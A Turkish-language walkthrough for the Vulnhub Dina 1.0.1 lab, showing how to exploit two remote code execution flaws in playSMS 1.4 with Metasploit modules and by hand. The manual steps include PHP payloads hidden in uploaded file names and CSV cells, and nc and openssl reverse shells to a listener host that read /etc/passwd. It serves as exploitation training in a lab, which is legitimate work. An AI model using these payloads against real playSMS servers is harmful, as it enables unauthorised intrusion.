Yazıda kullanılan Dina: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/dina-101,200/
playSMS, açık kaynak kodlu SMS yönetimi uygulamasıdır. Sanal makinede kurulu bu uygulamada oturum açabilmek için kullanılabilecek kimlik bilgileri aşağıdaki gibidir.
- Kullanıcı Adı: touhid
- Parola: diana
playSMS 1.4 sürümünde import.php ve sendfromfile.php adlı PHP dosyaları için 2 adet zafiyet bulunmaktadır.
- “web\plugin\feature\sendfromfile\sendfromfile.php” adlı eklenti ile dosya yüklemesi gerçekleştirilebilmektedir. Dosya adının kontrol edilmeden işlenmesi sebebi ile uzaktan komut çalıştırma zafiyeti gerçekleştirilebilir. Zafiyet “My Account > Send from file” adımları ile gelen ekranda bulunmaktadır.
http://192.168.106.130/SecreTSMSgatwayLogin/index.php?app=main&inc=feature_sendfromfile&op=list
- “web\plugin\feature\phonebook\import.php” adlı eklenti ile dosya yüklemesi gerçekleştirilebilmektedir. CSV uzantılı dosyanın içeriğinin kontrol edilmeden işlenmesi sebebi ile uzaktan komut çalıştırma zafiyeti gerçekleştirilebilir. Zafiyet “My Account > Phonebook” adımları ile gelen ekranda bulunmaktadır.
Bu zafiyetler otomatik (MSF kullanılarak) ve manuel olarak aşağıdaki yöntemler kullanılarak istismar edilebilir.
- MSF ile otomatik istismar işlemi için playsms_filename_exec ve playsms_uploadcsv_exec istismar modülleri kullanılabilir.
- Manuel istismar işlemi için Exploit-DB veya Searchploit üzerindeki 42003 ve 42044 ID’li istismar kodları kullanılabilir.
1) MSF playsms_filename_exec Modülü İle sendfromfile Eklentisinin İstismarı
MSF playsms_filename_exec istismar modülü kullanılarak sendfromfile.php eklentisindeki zafiyet istismar edilebilir.
use exploit/multi/http/playsms_filename_exec
set TARGETURI /SecreTSMSgatwayLogin
set RHOST 192.168.106.130
set LHOST 192.168.106.128
set USERNAME touhid
set PASSWORD diana
exploitgetuid
shell
uname -a
cat /etc/*release*
Böylece uygulama kullanıcı yetkisi ile (www-data) ters bağlantı elde edilebilmiştir.
2) Manuel Olarak sendfromfile Eklentisinin İstismarı
“PlaySMS 1.4 – ‘/sendfromfile.php’ Remote Code Execution / Unrestricted File Upload” isimli ve 42003 ID’li istismar adımları uygulanarak sendfromfile.php eklentisindeki zafiyet istismar edilebilir. Bu amaçla adında PHP kodu barındıran bir php dosyası oluşturulup hedef sisteme yüklenebilir.
touch “<?php system(‘uname -a’); dia();?>.php”
Yükleme sonucunda dosya adı sunucu tarafında çalışıp, sonucu ekrana basılmaktadır.
Not: PHP payload’u içerisinde çalıştırılacak komut içerisinde “/” gibi özel bir karakter bulunduğunda bu karakterler sunucuya kodlanarak iletildiği için chr(47) şekline manuel olarak dönüştürülmesi gerekir. Ancak bu işlem meşakatli olduğu için base64 formuna çevrilerek hedef sistemde komut çalıştırılması daha kolay olacaktır.
Ters bağlantı almak için bir komut hazırlanırsa da komut satırı erişimi elde edilebilir.
CalisacakKomut=
echo "rm -f /tmp/f; mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.106.128 1111 > /tmp/f 2>&1" | base64
touch “<?php system(base64_decode(‘$CalisacakKomut’)); dia();?>.php”
Bu amaçla dinleyici başlatılır. Oluşturulan dosya yüklendiğinde ters bağlantı elde edilir.
nc -nlvp 1111
cat /etc/passwd
3) MSF playsms_uploadcsv_exec Modülü İle Phonebook Eklentisinin İstismarı
MSF playsms_uploadcsv_exec istismar modülü kullanılarak import.php eklentisindeki zafiyet istismar edilebilir.
use exploit/multi/http/playsms_uploadcsv_exec
set TARGETURI /SecreTSMSgatwayLogin
set RHOST 192.168.106.130
set LHOST 192.168.106.128
set USERNAME touhid
set PASSWORD diana
exploitpwd
shell
hostname
ls
Böylece uygulama kullanıcı yetkisi ile (www-data) ters bağlantı elde edilebilmiştir.
Not: /tmp/ dizini incelendiğinde “php” ile başlayan bir dosyanın oluştuğu görülmektedir.
ls -la /tmp/phpfzvSur
cat /tmp/phpfzvSur
4) Manuel Olarak Phonebook Eklentisinin İstismarı
“PlaySMS 1.4 – ‘import.php’ Remote Code Execution” isimli ve 42044 ID’li istismar adımları uygulanarak import.php eklentisindeki zafiyet istismar edilebilir. Bu amaçla içerisinde PHP kodu barındıran bir CSV dosyası oluşturulup hedef sisteme yüklenebilir.
Name,Email,Department
<?php system(‘cat /etc/group’); dia();?>,2,3
Yükleme sonucunda “Name” ile belirtilen hücreye yazılan PHP komutu çalışıp, sonucu ekrana basmaktadır.
openssl aracı ile ters bağlantı almak için bir komut hazırlanırsa da komut satırı erişimi elde edilebilir. Bu amaçla sunucu tarafında sertifika (bilgileri rastgele verilmiştir) oluşturulur ve bir dinleyici başlatılır.
openssl req -x509 -newkey rsa:4096 -keyout GizliAnahtar.pem -out Sertifika.pem -days 365 -nodes
openssl s_server -quiet -key GizliAnahtar.pem -cert Sertifika.pem -port 2222
CSV dosyası önceki örnekte olduğu gibi hazırlanır.
Name,Email,Department
<?php system(‘mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.106.128:2222 > /tmp/s; rm /tmp/s’); dia();?>,2,3
Bu dosya hedef sunucu yüklendiğinde ters komut satırı erişimi elde edildiği görülmektedir.
id
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- Frolic: https://forum.hackthebox.eu/discussion/1176/frolic
Kaynaklar:
https://www.rootnetsec.com/vulnhub-dina/
Dina Walkthrough
Dina 1.0 Walkthrough – Vulnhub
CTF Challenge! Dina 1.0.1
https://medium.com/@honze_net/vulnhub-dina-1-0-1-write-up-deutsch-c31c70cafb73
https://medium.com/@orhan_yildirim/frolic-hackthebox-write-up-2a2e1961e574